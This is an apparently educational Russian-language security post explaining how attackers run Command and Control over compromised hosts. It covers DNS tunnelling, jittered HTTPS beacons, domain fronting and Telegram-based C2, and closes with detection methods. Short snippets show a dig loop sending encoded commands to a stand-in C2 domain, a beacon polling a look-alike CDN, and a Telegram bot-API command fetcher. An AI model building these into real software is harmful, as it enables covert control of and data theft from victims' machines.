Command and Control: как атакующий управляет заражённой машиной — 22 июля 2026 г. в 10:00:03.085
Command and Control: как атакующий управляет заражённой машиной 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про Command and Control (C2), как атакующий поддерживает связь с уже скомпрометированным хостом и передаёт команды после того, как первоначальный доступ получен. ⏺C2 - это канал связи между заражённой машиной и инфраструктурой атакующего. Без него закрепление в системе бесполезно: получил доступ, а команды передать некому и результат не забрать. Вся современная эволюция C2 - это попытка сделать этот канал неотличимым от легитимного трафика. ⏺DNS-туннелирование - команды и данные кодируются прямо в DNS-запросы, потому что DNS почти никогда не блокируется файрволом: # Атакующий кодирует команду в поддомен echo "whoami" | base64 | fold -w 63 | while read chunk; do dig $chunk.c2domain.com TXT done Ответ сервера прилетает в TXT-записи DNS-ответа. Для сетевого мониторинга это выглядит, как обычные DNS-запросы, только частота и энтропия поддоменов аномальные. ⏺HTTPS beacon с jitter - заражённая машина периодически стучится на C2-сервер с рандомизированным интервалом, маскируясь под обычный трафик к легитимному облачному сервису: import time, random, requests while True: r = requests.get("https://legit-looking-cdn.com/update.json", headers={"User-Agent": "Mozilla/5.0..."}) # разбираем команду из ответа, ждём jitter перед следующим запросом time.sleep(random.randint(300, 900)) Jitter (случайная задержка) специально ломает паттерн - если бы запросы шли строго каждые 5 минут, это легко детектировалось бы по регулярности интервалов в NetFlow. ⏺Domain fronting - C2-трафик маскируется под запрос к крупному CDN на уровне TLS SNI, а реальный домен назначения указывается только в HTTP Host-заголовке внутри зашифрованного соединения: TLS SNI: cloudfront.net HTTP Host: attacker-c2.cloudfront.net Файрвол видит легитимный сертификат CDN и пропускает трафик, а внутри зашифрованного соединения запрос на самом деле уходит к инфраструктуре атакующего зарегистрированной через тот же CDN. ⏺C2 через легитимные сервисы - Slack, Discord, Telegram, GitHub Gist используются, как транспорт вместо собственной инфраструктуры: import requests def get_command(): r = requests.get("https://api.telegram.org/bot<TOKEN>/getUpdates") return r.json()['result'][-1]['message']['text'] Трафик к Telegram API выглядит, как обычное использование мессенджера. Никакого подозрительного домена или самопальной инфраструктуры - только легитимный сервис, который сложно заблокировать целиком без последствий для остальных юзеров. ⏺Детектиться через аномалии в DNS (высокая частота запросов к одному домену, необычная энтропия поддоменов), JA3/JA3S фингерпринтинг TLS-хендшейков которые не совпадают с заявленным User-Agent, поведенческий анализ регулярности запросов даже с учётом jitter, и мониторинг обращений к легитимным API вроде Telegram или Discord с серверов, которые не должны иметь такого паттерна использования. 🤖Бесплатный ChatGPT

